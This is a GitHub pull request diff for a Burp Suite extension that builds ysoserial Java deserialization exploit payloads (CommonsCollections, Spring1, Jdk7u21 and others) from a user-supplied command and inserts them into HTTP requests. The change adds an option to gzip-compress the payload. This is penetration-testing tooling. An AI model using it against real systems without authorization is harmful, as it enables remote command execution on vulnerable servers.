Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Enable GZip compression #1

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 6 additions & 1 deletion src/main/java/burp/ChildTab.java
Original file line number Diff line number Diff line change
Expand Up @@ -24,9 +24,11 @@ public class ChildTab implements IMessageEditorController, ActionListener {
private final JPanel panel;

public static boolean isEncoded;
public static boolean isGzCompressed;

JButton goButton;
JCheckBox base64CheckBox;
JCheckBox compressGzCheckBox;

private final JComboBox<String> payloadComboBox;

Expand Down Expand Up @@ -67,6 +69,7 @@ public ChildTab(final IBurpExtenderCallbacks callbacks, JTabbedPane tabbedPane,
serializeButton.addActionListener(ChildTab.this);

base64CheckBox = new JCheckBox("Base64 Encode");
compressGzCheckBox = new JCheckBox("Compress (GZip)");

String[] typeStrings = { "BeanShell1","CommonsBeanutilsCollectionsLogging1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4","Groovy1","Jdk7u21","Spring1"};
payloadComboBox = new JComboBox<>(typeStrings);
Expand All @@ -76,6 +79,7 @@ public ChildTab(final IBurpExtenderCallbacks callbacks, JTabbedPane tabbedPane,
topButtonPanel.add(goButton);
topButtonPanel.add(serializeButton);
topButtonPanel.add(base64CheckBox);
topButtonPanel.add(compressGzCheckBox);
topButtonPanel.add(payloadComboBox);
topButtonPanel.add(helpButton);

Expand Down Expand Up @@ -138,12 +142,13 @@ private void serializeRequest() {
// String[] command = Utilities.formatCommand(commandTextField.getText());

boolean isEncoded = base64CheckBox.isSelected();
boolean isGzCompressed = compressGzCheckBox.isSelected();

String command = commandTextField.getText();

String payloadType = payloadComboBox.getSelectedItem().toString();

byte[] httpMessage = Utilities.serializeRequest(message,selectedMessage,isEncoded,command,helpers,payloadType);
byte[] httpMessage = Utilities.serializeRequest(message,selectedMessage,isEncoded,isGzCompressed,command,helpers,payloadType);

requestViewer.setMessage(httpMessage, true);

Expand Down
21 changes: 20 additions & 1 deletion src/main/java/burp/Utilities.java
Original file line number Diff line number Diff line change
Expand Up @@ -5,16 +5,19 @@
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.zip.GZIPOutputStream;

public class Utilities {

public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, boolean isEncoded, String command, IExtensionHelpers helpers, String payloadType) {
public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, boolean isEncoded, boolean isGzCompressed, String command, IExtensionHelpers helpers, String payloadType) {

int selectedOffset = 0;
int endingOffset = 0;
Expand All @@ -40,6 +43,22 @@ public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, bo
byte[] endingArray = Arrays.copyOfRange(message, endingOffset, message.length);

byte[] exploitArray = getExploitPayload(payloadType, command);

if (isGzCompressed) {
ChildTab.isGzCompressed = true;
try {
ByteArrayOutputStream gzOsBytes = new ByteArrayOutputStream();
GZIPOutputStream gzOs = new GZIPOutputStream(gzOsBytes);
gzOs.write(exploitArray);
gzOs.close();
exploitArray = gzOsBytes.toByteArray();
} catch (IOException ioe) {
System.err.println("Error while compressing payload");
ioe.printStackTrace();
}
} else {
ChildTab.isGzCompressed = false;
}

ChildTab.selectedMessage = exploitArray;

Expand Down